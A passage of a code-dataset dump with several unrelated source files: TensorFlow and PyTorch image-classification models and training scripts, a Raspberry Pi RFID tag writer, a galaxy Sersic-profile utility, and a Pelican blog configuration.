activation)\r\n\r\n                # dropout\r\n                if self.testing is False and count != num_layers:\r\n                    dropout_rate = conf_layers[key]['dropout_rate']\r\n                    layer_fc = tf.nn.dropout(layer_fc, rate=dropout_rate)\r\n\r\n                self.layers_array.append(layer_fc)\r\n\r\n            count = count + 1\r\n\r\n        # loss\r\n        ground_truth_shape = [None, self.conf['misc']['num_classes']]\r\n        self.ground_truth = tf.compat.v1.placeholder(tf.float32, shape=ground_truth_shape)\r\n\r\n        if self.conf['training']['loss_function'] == 'mean_squared_error':\r\n            self.loss_cnn = tf.reduce_mean(tf.square(self.layers_array[-1] - self.ground_truth))\r\n        else:\r\n            self.loss_cnn = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2( logits=self.layers_array[-1],\r\n                                                                                       labels=self.ground_truth))\r\n\r\n        # accuracy\r\n        _, self.acc_cnn = tf.compat.v1.metrics.accuracy(tf.argmax(self.ground_truth, axis=1),\r\n                                                        tf.argmax(self.layers_array[-1], axis=1))\r\n\r\n        # back propagation\r\n        self.lr = self.conf['training']['lr']\r\n        optimizer_name = self.conf['training']['optimizer']\r\n        if optimizer_name == 'adam':\r\n            optimizer_cnn = tf.compat.v1.train.AdamOptimizer(learning_rate=self.lr)\r\n        elif optimizer_name == 'gradient_descent':\r\n            optimizer_cnn = tf.train.GradientDescentOptimizer(self.lr)\r\n\r\n        self.training = optimizer_cnn.minimize(self.loss_cnn)\r\n\r\n    def apply_activation(self, inp, activation):\r\n        if activation == 'softmax':\r\n            return tf.nn.softmax(inp)\r\n        elif activation == 'sigmoid':\r\n            return tf.nn.sigmoid(inp)\r\n        elif activation == 'tanh':\r\n            return tf.nn.tanh(inp)\r\n        return tf.nn.relu(inp)\r\n\r\n    def initialize_weights(self, weights_shape):\r\n\r\n        weight_mean = self.conf['training']['init_weight']['mean']\r\n        weight_std = self.conf['training']['init_weight']['std']\r\n        weight_type = self.conf['training']['init_weight']['type']\r\n\r\n        if weight_type == 'truncated_normal':\r\n            return tf.truncated_normal(weights_shape, mean=weight_mean, stddev=weight_std)\r\n\r\n        return tf.random_normal(weights_shape, mean=weight_mean, stddev=weight_std)\r\n\r\n    def initialize_bias(self, bias_shape):\r\n\r\n        init_bias = self.conf['training']['init_bias']\r\n        return tf.constant(init_bias, shape=bias_shape)\r\n\r\n    def conv(self, filter_rows, filter_cols, filter_channels, out_channels, layer_input, stride_rows, stride_cols,\r\n             activation):\r\n\r\n        # weights\r\n        weights_shape = [filter_rows, filter_cols, filter_channels, out_channels]\r\n        weight_initializer = self.initialize_weights(weights_shape)\r\n        weights = tf.Variable(weight_initializer)\r\n\r\n        # bias\r\n        bias_shape = [out_channels]\r\n        bias_initializer = self.initialize_bias(bias_shape)\r\n        bias = tf.Variable(bias_initializer)\r\n\r\n        # conv layer\r\n        conv_output = tf.nn.conv2d(layer_input, filter=weights, strides=[1, stride_rows, stride_cols, 1],\r\n                                   padding=\"SAME\")\r\n        activation_input = conv_output + bias\r\n        activation_output = self.apply_activation(activation_input, activation)\r\n        return activation_output\r\n\r\n    def max_pool(self, layer_input, filter_rows, filter_cols, stride_rows, stride_cols, activation):\r\n        max_pool_output = tf.nn.max_pool(value=layer_input, ksize=[1, filter_rows, filter_cols, 1],\r\n                                         strides=[1, stride_rows, stride_cols, 1], padding=\"SAME\")\r\n        activation_output = self.apply_activation(max_pool_output, activation)\r\n        return activation_output\r\n\r\n    def fc(self, dim_input, dim_output, layer_input, activation):\r\n        # weights\r\n        weights_shape = [dim_input, dim_output]\r\n        weight_initializer = self.initialize_weights(weights_shape)\r\n        weights = tf.Variable(weight_initializer)\r\n\r\n        # biases\r\n        bias_shape = [dim_output]\r\n        bias_initializer = self.initialize_bias(bias_shape)\r\n        bias = tf.Variable(bias_initializer)\r\n\r\n        # layer\r\n        activation_input = tf.matmul(layer_input, weights) + bias\r\n        activation_output = self.apply_activation(activation_input, activation)\r\n        return activation_output\r\n\r\n    def analyze_epoch(self, sess, x, y):\r\n\r\n        batch_size = self.conf['training']['batch_size']\r\n\r\n        num_iterations = int(len(x) / batch_size)\r\n        pred_y_array = []\r\n        loss_array = []\r\n        acc_array = []\r\n\r\n        for iter_ in range(num_iterations):\r\n            batch_x = x[iter_ * batch_size:(iter_ + 1) * batch_size, :]\r\n            batch_y = y[iter_ * batch_size:(iter_ + 1) * batch_size, :]\r\n\r\n            batch_pred_y, batch_loss, batch_acc = \\\r\n                sess.run([self.layers_array[-1], self.loss_cnn, self.acc_cnn],\r\n                         feed_dict={self.layer_input: batch_x, self.ground_truth: batch_y})\r\n\r\n            for pred_y in zip(batch_pred_y):\r\n                pred_y_array.append(pred_y[0])\r\n\r\n            loss_array.append(batch_loss)\r\n            acc_array.append(batch_acc)\r\n\r\n        loss_epoch = sum(loss_array) / len(loss_array)\r\n        acc_epoch = sum(acc_array) / len(acc_array)\r\n\r\n        return pred_y_array, loss_epoch, acc_epoch\r\n\r\n","sub_path":"src/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":8581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"316981718","text":"import RPi.GPIO as GPIO\nimport sys\nsys.path.append('/home/pi/iot_supermercado/reto-iot-en-supermercado-2019-nova-iot-supermarket/sensors/MFRC522-python')\nfrom mfrc522 import SimpleMFRC522\n\nreader = SimpleMFRC522()\ntext = input('Your Name:')\nprint(\"Now place tag next to the scanner to write\")\nid, text = reader.write(text)\nprint(\"recorded\")\nprint(id)\nprint(text)\nGPIO.cleanup()","sub_path":"sensors/RFIDWriter.py","file_name":"RFIDWriter.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"266224483","text":"from scipy.special import gammainc\nfrom scipy.interpolate import interp1d\nimport numpy\n\n__all__ = [\"SersicUtils\"]\n\nclass SersicUtils(object):\n    \n    def __init__(self, comp_n, min_log_s=-6, max_log_s=6, dlog_s=0.001):\n        self.minprob = []\n        self.maxprob = []\n        self.interparr = []\n        log_s = numpy.arange(min_log_s, max_log_s, dlog_s)\n        tinterp, minp, maxp = self._getInterpProbs(comp_n, log_s)\n        self.pinterp = tinterp\n        self.minprob = minp\n        self.maxprob = maxp\n\n    def _makeArray(self, arr):\n        if hasattr(arr, \"__iter__\"):\n            return numpy.array(arr)\n        else:\n            return numpy.array([arr,])\n\n    def _getInterpProbs(self, n, log_s):\n        #These values come from:\n        #http://ned.ipac.caltech.edu/level5/March05/Graham/Graham2.html\n        b_n = 1.9992*n-0.3271\n        x = b_n*numpy.power(10,log_s)**(1./n)\n        probs = gammainc(2*n, x)\n        return interp1d(probs, log_s), numpy.min(probs), numpy.max(probs)\n\n    def getR(self, Re):\n        Re = self._makeArray(Re)\n        rands = numpy.random.random(len(Re))\n        idxs = numpy.where(rands < self.minprob)[0]\n        rands[idxs] = self.minprob\n        idxs = numpy.where(rands > self.maxprob)[0]\n        rands[idxs] = self.maxprob\n        svals = numpy.power(10., self.pinterp(rands))\n        return Re*svals\n\n    def getRe(self, a, b, angles):\n        a = self._makeArray(a)\n        b = self._makeArray(b)\n        angles = self._makeArray(angles)\n        return (a*b)/numpy.sqrt((b*numpy.cos(angles))**2 + (a*numpy.sin(angles))**2)\n\n    def getXY(self, R, angles):\n        x = R*numpy.cos(angles)\n        y = R*numpy.sin(angles)\n        return x, y\n\n\n    def getAngles(self, a, b, num):\n        #from wolfram:\n        #http://mathworld.wolfram.com/Ellipse.html\n        e = b/a\n        tvals = numpy.random.random(num)*2.*numpy.pi\n        theta = numpy.arctan(e*numpy.tan(tvals))%numpy.pi\n        idx = numpy.where(tvals > numpy.pi)[0]\n        theta[idx] += numpy.pi\n        return theta\n\n    def calcDistribution(self, a, b, pa, num):\n        angles = self.getAngles(a, b, num)\n        Res = self.getRe(a, b, angles)\n        Rs = self.getR(Res)\n        return self.getXY(Rs, angles+pa)\n    \n    @staticmethod\n    def getEllip(x, y):\n        Ixx = numpy.sum(x*x)/len(x)\n        Iyy = numpy.sum(y*y)/len(y)\n        Ixy = numpy.sum(x*y)/len(x)\n        rs = numpy.sqrt(x*x + y*y)\n        rs = numpy.sort(rs)\n        lrs = len(rs)\n        if lrs%2 == 0:\n            r_hl = (rs[lrs/2] + rs[lrs/2-1])/2.\n        else:\n            r_hl = rs[lrs/2]\n        #As defined in Williams et al. 1996\n        r1 = numpy.sum(numpy.sqrt(x*x + y*y))/len(x)\n        e1 = (Ixx - Iyy)/(Ixx + Iyy + 2*numpy.sqrt(Ixx*Iyy - Ixy*Ixy))\n        e2 = 2*Ixy/(Ixx + Iyy + 2*numpy.sqrt(Ixx*Iyy - Ixy*Ixy))\n        return e1, e2, Ixx, Iyy, Ixy, r1, r_hl\n    \n    @staticmethod\n    def getNphots(ntot, magBulgeNorm, magDiskNorm):\n         if numpy.isnan(magBulgeNorm) or magBulgeNorm < 5.:\n             return 0, ntot\n         elif numpy.isnan(magDiskNorm) or magDiskNorm < 5.:\n             return ntot, 0\n         else:\n            a = numpy.power(10.,(magBulgeNorm - magDiskNorm)/-2.5)\n            if numpy.isinf(a):\n                return 0, ntot\n            b = a/(1.+a)\n            return ntot*b, ntot*(1.-b)\n","sub_path":"python/lsst/sims/catUtils/sersicUtils.py","file_name":"sersicUtils.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"489553656","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nDELETE_OUTPUT_DIRECTORY = False\n\nAUTHOR = u'Heitor Credidio'\nSITENAME = u'Untitled0.ipynb'\n#SITEURL = 'http://localhost:8000'\nSITEURL = 'http://hfcredidio.github.io'\n\nSITELOGO = SITEURL + '/me.jpg'\n\nTHEME = './pelican-themes/Flex'\nMARKUP = ('md', 'ipynb')\nPLUGIN_PATHS = ['./myplugins']\nPLUGINS = ['ipynb']\n\nPATH = 'content'\n\nTIMEZONE = 'Europe/Paris'\n\nDEFAULT_LANG = u'en'\n\n# Blogroll\n#LINKS = (('about', '#'),\n         #('publications',\n          #'https://scholar.google.com.br/'\n          #'citations?user=Qh51GNYAAAAJ&hl=en&oi=sra'),\n         #('Curriculum Vitae', '#'))\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nAUTHOR_FEED_ATOM = None\nAUTHOR_FEED_RSS = None\n\n# Social widget\nSOCIAL = (('email', 'http://www.google.com/recaptcha/'\n           'mailhide/d?k=01-iUr91_5Pgjuf8Ivmwnkvw==&c='\n           'SzwfT3O1d99ta7a3d2tihVQL_AwroFW4DerCxJ4Xd_U='),\n          ('twitter', 'https://twitter.com/htrcrd'),\n          ('github', 'https://github.com/hfcredidio'))\n\nMENUITEMS = (('Archives', '/archives.html'),\n             ('Categories', '/categories.html'),)\n\nMAIN_MENU = True\nDEFAULT_PAGINATION = 10\nCOPYRIGHT_YEAR = 2015\nCC_LICENSE = {'name': 'Creative Commons Attribution-ShareAlike',\n              'version': '4.0',\n              'slug': 'by-sa'}\n\n#_TITLES = ((\"H. Credidio's Blog*\",\n            #\"*May contain only small traces of blog\"),\n\n           #(\"Heitor Credidio\",\n            #\"thinks namespaces are an average idea at best\"),\n\n           #(\"H. Credidio's Ramblings\",\n            #\"The phase transition may be second in order, \"\n            #\"but is first in his heart.\"),\n\n           #(\"Heitor Credidio\".encode('rot13'),\n            #\"can't remember how to reverse rot13\".encode('rot13')),\n\n           #(\"Heitor Credidio\",\n            #\"Pythonkin, pronouns pip/pip/pipself\"),\n\n           #(\"Heitor Credidio\",\n            #\"is a strong independent and identically distributed random \"\n            #\"variable who don't need no correlations\"),\n\n           #(\"H. Credidio's Gospel\",\n            #\"predicts the second passage time of Christ\"),\n           #)\n#from random import choice\n#SITETITLE, SITESUBTITLE = choice(_TITLES)\n\nSITETITLE = \"H. Credidio's Blog*\"\nSITESUBTITLE = \"*May contain only small traces of blog\"\n\n# Uncomment following line if you want document-relative URLs when developing\n#RELATIVE_URLS = True\n","sub_path":"pelicanconf.py","file_name":"pelicanconf.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"104255905","text":"import torch\nimport math\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.autograd import Variable\nfrom torchvision import datasets, transforms\nimport torch.nn.functional as F\nimport time\nimport os\nimport torch.backends.cudnn as cudnn\nfrom collections import OrderedDict\n\n\n# one epoch means all thing learning by one learning\n# residual learning image? n < 128 is it right? when did not match last thihngs is not good performance\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = '0'\nstart_time = time.time()\nbatch_size = 128\nlearning_rate = 0.001\n\ntransform_train = transforms.Compose([\n\ttransforms.RandomCrop(32, padding=4),  # augmentation performance upgrade 7~8%\n\ttransforms.RandomHorizontalFlip(),  # right and left reverse\n\ttransforms.ToTensor(),\n\ttransforms.Normalize(mean=(0.4914, 0.4824, 0.4467),\n\t\t\t\t\t\t # RGB MEAN when bright and dark scean are simirarly we see that what we could\n\t\t\t\t\t\t std=(0.2471, 0.2436, 0.2616))  #\n])\n\ntransform_test = transforms.Compose([\n\ttransforms.ToTensor(),  # performance should not be change\n\ttransforms.Normalize(mean=(0.4914, 0.4824, 0.4467),\n\t\t\t\t\t\t # that value did not change becuase that is important, this mean that just scope is constraint in that\n\t\t\t\t\t\t std=(0.2471, 0.2436, 0.2616))\n])\n\n# automatically download\ntrain_dataset = datasets.CIFAR10(root='drive/app/cifar10/',\n\t\t\t\t\t\t\t\t train=True,\n\t\t\t\t\t\t\t\t transform=transform_train,\n\t\t\t\t\t\t\t\t download=True)\n\ntest_dataset = datasets.CIFAR10(root='drive/app/cifar10/',\n\t\t\t\t\t\t\t\ttrain=False,\n\t\t\t\t\t\t\t\ttransform=transform_test)\n\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n\t\t\t\t\t\t\t\t\t\t   batch_size=batch_size,\n\t\t\t\t\t\t\t\t\t\t   shuffle=True,\n\t\t\t\t\t\t\t\t\t\t   # data shuffle, when l oading in this batch is very good performance being generation\n\t\t\t\t\t\t\t\t\t\t   num_workers=4)\n\ntest_loader = torch.utils.data.DataLoader(dataset=test_dataset,\n\t\t\t\t\t\t\t\t\t\t  batch_size=batch_size,\n\t\t\t\t\t\t\t\t\t\t  shuffle=False,  #\n\t\t\t\t\t\t\t\t\t\t  num_workers=4)\n\nclass _DenseLayer(nn.Sequential):\n    def __init__(self, num_input_features, growth_rate, bn_size, drop_rate):\n        super(_DenseLayer, self).__init__()\n        self.add_module('norm1', nn.BatchNorm2d(num_input_features)),\n        self.add_module('relu1', nn.ReLU(inplace=True)),\n        self.add_module('conv1', nn.Conv2d(num_input_features, bn_size *\n                        growth_rate, kernel_size=1, stride=1, bias=False)),\n        self.add_module('norm2', nn.BatchNorm2d(bn_size * growth_rate)),\n        self.add_module('relu2', nn.ReLU(inplace=True)),\n        self.add_module('conv2', nn.Conv2d(bn_size * growth_rate, growth_rate,\n                        kernel_size=3, stride=1, padding=1, bias=False)),\n        self.drop_rate = drop_rate\n\n    def forward(self, x):\n\n        new_features = super(_DenseLayer, self).forward(x)\n        if self.drop_rate > 0:\n            new_features = F.dropout(new_features, p=self.drop_rate, training=self.training)\n        return torch.cat([x, new_features], 1)\n\n\nclass _DenseBlock(nn.Sequential):\n    def __init__(self, num_layers, num_input_features, bn_size, growth_rate, drop_rate):\n        super(_DenseBlock, self).__init__()\n        for i in range(num_layers):\n            layer = _DenseLayer(num_input_features + i * growth_rate, growth_rate, bn_size, drop_rate)\n            self.add_module('denselayer%d' % (i + 1), layer)\n\n\nclass _Transition(nn.Sequential):\n    def __init__(self, num_input_features, num_output_features):\n        super(_Transition, self).__init__()\n        self.add_module('norm', nn.BatchNorm2d(num_input_features))\n        self.add_module('relu', nn.ReLU(inplace=True))\n        self.add_module('conv', nn.Conv2d(num_input_features, num_output_features,\n                                          kernel_size=1, stride=1, bias=False))\n        self.add_module('pool', nn.AvgPool2d(kernel_size=2, stride=2))\n\n\nclass DenseNet(nn.Module):\n\n    def __init__(self, growth_rate=12, block_config=(6,),\n                 num_init_features=16, bn_size=4, drop_rate=0, num_classes=10):\n\n        super(DenseNet, self).__init__()\n\n        # First convolution\n        self.features = nn.Sequential(OrderedDict([\n            ('conv0', nn.Conv2d(3, num_init_features, kernel_size=3, stride=1, padding=1, bias=False)),\n            ('norm0', nn.BatchNorm2d(num_init_features)),\n            ('relu0', nn.ReLU(inplace=True)),\n            ('pool0', nn.MaxPool2d(kernel_size=2, stride=2)),\n        ]))\n\n        # Each denseblock\n        num_features = num_init_features\n        for i, num_layers in enumerate(block_config):\n            block = _DenseBlock(num_layers=num_layers, num_input_features=num_features,\n                                bn_size=bn_size, growth_rate=growth_rate, drop_rate=drop_rate)\n            self.features.add_module('denseblock%d' % (i + 1), block)\n            num_features = num_features + num_layers * growth_rate\n            if i != len(block_config) - 1:\n                trans = _Transition(num_input_features=num_features, num_output_features=num_features // 2)\n                self.features.add_module('transition%d' % (i + 1), trans)\n                num_features = num_features // 2\n\n        # Final batch norm\n        self.features.add_module('norm5', nn.BatchNorm2d(num_features))\n\n        # Linear layer\n        self.classifier = nn.Linear(17248, num_classes)\n\n        # Official init from torch repo.\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                nn.init.kaiming_normal_(m.weight)\n            elif isinstance(m, nn.BatchNorm2d):\n                nn.init.constant_(m.weight, 1)\n                nn.init.constant_(m.bias, 0)\n            elif isinstance(m, nn.Linear):\n                nn.init.constant_(m.bias, 0)\n\n    def forward(self, x):\n        features = self.features(x)\n        out = F.relu(features, inplace=True)\n        out = F.avg_pool2d(out, kernel_size=3, stride=1).view(features.size(0), -1)\n        out = self.classifier(out)\n\n        return out\n\ndef conv3x3(in_planes, out_planes, stride=1):\n    \"\"\"3x3 convolution with padding\"\"\"\n    return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n                     padding=1, bias=False)\n\nclass BasicBlock(nn.Module):\n    expansion = 1\n\n    def __init__(self, inplanes, planes, stride=1, downsample=None):\n        super(BasicBlock, self).__init__()\n        self.conv1 = conv3x3(inplanes, planes, stride)\n        self.bn1 = nn.BatchNorm2d(planes)\n        self.relu = nn.ReLU(inplace=True)\n        self.conv2 = conv3x3(planes, planes)\n        self.bn2 = nn.BatchNorm2d(planes)\n        self.downsample = downsample\n        self.stride = stride\n\n    def forward(self, x):\n        residual = x\n\n        out = self.conv1(x)\n        out = self.bn1(out)\n        out = self.relu(out)\n\n        out = self.conv2(out)\n        out = self.bn2(out)\n\n        if self.downsample is not None:\n            residual = self.downsample(x)\n\n        out += residual\n        out = self.relu(out)\n\n        return out\n\nclass ResNet(nn.Module):\n\n    def __init__(self, block, layers, num_classes=10):\n        self.inplanes = 64\n        super(ResNet, self).__init__()\n        self.conv1 = nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1,\n                               bias=False)\n        self.bn1 = nn.BatchNorm2d(64)\n        self.relu = nn.ReLU(inplace=True)\n        self.maxpool = nn.MaxPool2d(kernel_size=2, stride=2)\n        self.layer1 = self._make_layer(block, 64, layers[0])\n        self.layer2 = self._make_layer(block, 128, layers[1], stride=2)\n        self.layer3 = self._make_layer(block, 256, layers[2], stride=2)\n        self.layer4 = self._make_layer(block, 512, layers[3], stride=2)\n        self.avgpool = nn.AvgPool2d(kernel_size=7, stride=1)\n        self.fc = nn.Linear(512 * block.expansion, num_classes)\n\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n            elif isinstance(m, nn.BatchNorm2d):\n                nn.init.constant_(m.weight, 1)\n                nn.init.constant_(m.bias, 0)\n\n    def _make_layer(self, block, planes, blocks, stride=1):\n        downsample = None\n        if stride != 1 or self.inplanes != planes * block.expansion:\n            downsample = nn.Sequential(\n                nn.Conv2d(self.inplanes, planes * block.expansion,\n                          kernel_size=1, stride=stride, bias=False),\n                nn.BatchNorm2d(planes * block.expansion),\n            )\n\n        layers = []\n        layers.append(block(self.inplanes, planes, stride, downsample))\n        self.inplanes = planes * block.expansion\n        for i in range(1, blocks):\n            layers.append(block(self.inplanes, planes))\n\n        return nn.Sequential(*layers)\n\n    def forward(self, x):\n        x = self.conv1(x)\n        x = self.bn1(x)\n        x = self.relu(x)\n        x = self.maxpool(x)\n\n        x = self.layer1(x)\n        x = self.layer2(x)\n        x = self.layer3(x)\n        x = self.layer4(x)\n\n        x = self.avgpool(x)\n        x = x.view(x.size(0), -1)\n        x = self.fc(x)\n\n        return x\n\ndef resnet18(pretrained=False, **kwargs):\n    \"\"\"Constructs a ResNet-18 model.\n\n    Args:\n        pretrained (bool): If True, returns a model pre-trained on ImageNet\n    \"\"\"\n    model = ResNet(BasicBlock, [2, 2, 2, 2], **kwargs)\n    if pretrained:\n        model.load_state_dict(model_zoo.load_url(model_urls['resnet18']))\n    return model\n\n\n# class Vgg(nn.Module):\n# \tdef __init__(self, num_classes=10):\n# \t\tsuper(Vgg, self).__init__()\n\n# \t\tself.features = nn.Sequential(\n# \t\t\tnn.Conv2d(3, 64, kernel_size=3, padding=1),\n# \t\t\tnn.BatchNorm2d(64),\n# \t\t\tnn.ReLU(),\n# \t\t\tnn.Conv2d(64, 64, kernel_size=3, padding = 1),\n# \t\t\tnn.BatchNorm2d(64),\n# \t\t\tnn.ReLU(),\n\n# \t\t\t)\n# \t\tself.LSTM = nn.LSTM(16, 8, num_layers = 2, batch_first = True, bidirectional = True)\n# \t\tself.features2 = nn.Sequential (\n# \t\t\tnn.Conv2d(256, 128, kernel_size=3, padding=1),\n# \t\t\tnn.BatchNorm2d(128),\n# \t\t\tnn.ReLU(),\n# \t\t\tnn.Conv2d(128, 64, kernel_size=3, padding = 1),\n# \t\t\tnn.BatchNorm2d(64),\n# \t\t\tnn.ReLU(),\n# \t\t\tnn.MaxPool2d(kernel_size=2, stride=2),\n# \t\t)\n# \t\tself.classifier = nn.Linear(128*4*2*4, num_classes)\n\n# \tdef forward(self, x):\n# \t\tx = self.features(x)\n# \t\tx = slidedImage(x)\n# \t\tx = x.view(x.size(0)*x.size(1)*8, 8, 16)\n# \t\th = Variable(torch.zeros(4,x.size(0), 8).cuda())\n# \t\tc = Variable(torch.zeros(4,x.size(0), 8).cuda())\n# \t\tx, (h1,c1) = self.LSTM(x, (h , c))\n# \t\tx = x.contiguous().view(x.size(0)//64//8, x.size(1)*32, 16,16) \n# \t\tx = self.features2(x)\n# \t\tx = x.view(x.size(0), -1)\n# \t\t# x.size()=[batch_size, channel, width, height]\n# \t\t#      [128, 512, 2, 2]\n# \t\t# flatten 결과 => [128, 512x2x2]\n# \t\tx = self.classifier(x)\n# \t\tx = F.dropout2d(x, p = 0.5, training = self.training)\n# \t\treturn x\n\n\nmodel = DenseNet()\noptimizer = optim.Adam(model.parameters(), lr=learning_rate, weight_decay=1e-4)\ncriterion = nn.CrossEntropyLoss().cuda()\n\nif torch.cuda.device_count() > 0:\n\tprint(\"USE\", torch.cuda.device_count(), \"GPUs!\")\n\tmodel = nn.DataParallel(model)\n\tcudnn.benchmark = True\nelse:\n\tprint(\"USE ONLY CPU!\")\n\nif torch.cuda.is_available():\n\tmodel.cuda()\n\n\ndef train(epoch):\n\tmodel.train()\n\ttrain_loss = 0 \n\ttotal = 0\n\tcorrect = 0\n\tfor batch_idx, (data, target) in enumerate(train_loader):\n\t\tif torch.cuda.is_available():\n\t\t\tdata, target = Variable(data.cuda()), Variable(target.cuda())\n\t\telse:\n\t\t\tdata, target = Variable(data), Variable(target)\n\n\n\n\t\toptimizer.zero_grad()\n\t\toutput = model(data)  # 32x32x3 -> 10*128 right? like PCA\n\t\tloss = criterion(output, target)\n\t\tloss.backward()\n\t\toptimizer.step()\n\n\t\ttrain_loss += loss.item()\n\t\t_, predicted = torch.max(output.data, 1)\n\t\t# torch.max() : (maximum value, index of maximum value) return.\n\t\t# 1 :  row마다 max계산 (즉, row는 10개의 class를 의미)\n\t\t# 0 : column마다 max 계산\n\t\ttotal += target.size(0)\n\t\tcorrect += predicted.eq(target.data).cpu().sum()\n\t\tif batch_idx % 10 == 0:\n\t\t\tprint('Epoch: {} | Batch_idx: {} |  Loss: ({:.4f}) | Acc: ({:.2f}%) ({}/{})'\n\t\t\t\t  .format(epoch, batch_idx, train_loss / (batch_idx + 1), 100. * correct / total, correct, total))\n\n\ndef test():\n\tmodel.eval()\n\ttest_loss = 0\n\tcorrect = 0\n\ttotal = 0\n\tfor batch_idx, (data, target) in enumerate(test_loader):\n\t\tif torch.cuda.is_available():\n\t\t\tdata, target = Variable(data.cuda()), Variable(target.cuda())\n\t\telse:\n\t\t\tdata, target = Variable(data), Variable(target)\n\n\t\toutputs = model(data)\n\t\tloss = criterion(outputs, target)\n\n\t\ttest_loss += loss.item()\n\t\t_, predicted = torch.max(outputs.data, 1)\n\t\ttotal += target.size(0)\n\t\tcorrect += predicted.eq(target.data).cpu().sum()\n\tprint('# TEST : Loss: ({:.4f}) | Acc: ({:.2f}%) ({}/{})'\n\t\t  .format(test_loss / (batch_idx + 1), 100. * correct / total, correct, total))\n\n\nfor epoch in range(0, 165):\n\tif epoch < 80:\n\t\tlearning_rate = learning_rate\n\telif epoch < 120:\n\t\tlearning_rate = learning_rate * 0.1\n\telse:\n\t\tlearning_rate = learning_rate * 0.01\n\tfor param_group in optimizer.param_groups:\n\t\tparam_group['learning_rate'] = learning_rate\n\n\ttrain(epoch)\n\ttest()  # Did not know when is it good performance.\n\nnow = time.gmtime(time.time() - start_time)\nprint('{} hours {} mins {} secs for training'.format(now.tm_hour, now.tm_min, now.tm_sec))","sub_path":"20180719/ResNet_Base.py","file_name":"ResNet_Base.py","file_ext":"py","file_size_in_byte":13184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"309954479","text":"\"\"\"\nTiny ImageNet Model\nWritten by Patrick Coady (pcoady@alum.mit.edu)\n\nArchitecture is based on VGG-16 model, but the final pool-conv-conv-conv-pool\nlayers were discarded. The input to the network is a 56x56 RGB crop (versus\n224x224 crop for the original VGG-16 model). L2 regularization is applied to\nall layer weights. And dropout is applied to the first 2 fully-connected\nlayers.\n\n1. conv-conv-maxpool\n2. conv-conv-maxpool\n3. conv-conv-maxpool\n4. conv-conv-conv-maxpool\n4. fc-4096 (ReLU)\n5. fc-2048 (ReLU)\n6. fc-200\n7. softmax\n\"\"\"\nimport tensorflow as tf\nimport numpy as np\n\n\ndef conv_2d(inputs, filters, kernel_size, name=None):\n  \"\"\"3x3 conv layer: ReLU + (1, 1) stride + He initialization\"\"\"\n\n  # He initialization = normal dist with stdev = sqrt(2.0/fan-in)\n  stddev = np.sqrt(2 / (np.prod(kernel_size) * int(inputs.shape[3])))\n  out = tf.layers.conv2d(inputs, filters=filters, kernel_size=kernel_size,\n                         padding='same', activation=tf.nn.relu,\n                         kernel_initializer=tf.random_normal_initializer(stddev=stddev),\n                         name=name)\n  tf.summary.histogram('act' + name, out)\n\n  return out\n\n\ndef dense_relu(inputs, units, name=None):\n  \"\"\"3x3 conv layer: ReLU + He initialization\"\"\"\n\n  # He initialization: normal dist with stdev = sqrt(2.0/fan-in)\n  stddev = np.sqrt(2 / int(inputs.shape[1]))\n  out = tf.layers.dense(inputs, units, activation=tf.nn.relu,\n                        kernel_initializer=tf.random_normal_initializer(stddev=stddev),\n                        name=name)\n\n  tf.summary.histogram('act' + name, out)\n\n  return out\n\n\ndef dense(inputs, units, name=None):\n  \"\"\"3x3 conv layer: ReLU + He initialization\"\"\"\n\n  # He initialization: normal dist with stdev = sqrt(2.0/fan-in)\n  stddev = np.sqrt(2 / int(inputs.shape[1]))\n  out = tf.layers.dense(inputs, units,\n                        kernel_initializer=tf.random_normal_initializer(stddev=stddev),\n                        kernel_regularizer=tf.contrib.layers.l2_regularizer(1.0),\n                        name=name)\n  tf.summary.histogram('act' + name, out)\n\n  return out\n\n\ndef vgg_16_svm(training_batch, config):\n  \"\"\"VGG-like conv-net\n\n  Args:\n    training_batch: batch of images (N, 56, 56, 3)\n    config: training configuration object\n\n  Returns:\n    class prediction scores\n  \"\"\"\n  img = tf.cast(training_batch, tf.float32)\n  out = (img - 128.0) / 128.0\n\n  tf.summary.histogram('img', training_batch)\n  # (N, 56, 56, 3)\n  out = conv_2d(out, 64, (3, 3), 'conv1_1')\n  out = conv_2d(out, 64, (3, 3), 'conv1_2')\n  out = tf.layers.max_pooling2d(out, (2, 2), (2, 2), name='pool1')\n\n  # (N, 28, 28, 64)\n  out = conv_2d(out, 128, (3, 3), 'conv2_1')\n  out = conv_2d(out, 128, (3, 3), 'conv2_2')\n  out = tf.layers.max_pooling2d(out, (2, 2), (2, 2), name='pool2')\n\n  # (N, 14, 14, 128)\n  out = conv_2d(out, 256, (3, 3), 'conv3_1')\n  out = conv_2d(out, 256, (3, 3), 'conv3_2')\n  out = conv_2d(out, 256, (3, 3), 'conv3_3')\n  out = tf.layers.max_pooling2d(out, (2, 2), (2, 2), name='pool3')\n\n  # (N, 7, 7, 256)\n  out = conv_2d(out, 512, (3, 3), 'conv4_1')\n  out = conv_2d(out, 512, (3, 3), 'conv4_2')\n  out = conv_2d(out, 512, (3, 3), 'conv4_3')\n\n  # fc1: flatten -> fully connected layer\n  # (N, 7, 7, 512) -> (N, 25088) -> (N, 4096)\n  out = tf.contrib.layers.flatten(out)\n  # TODO: Dropout here?\n  out = dense_relu(out, 4096, 'fc1')\n  out = 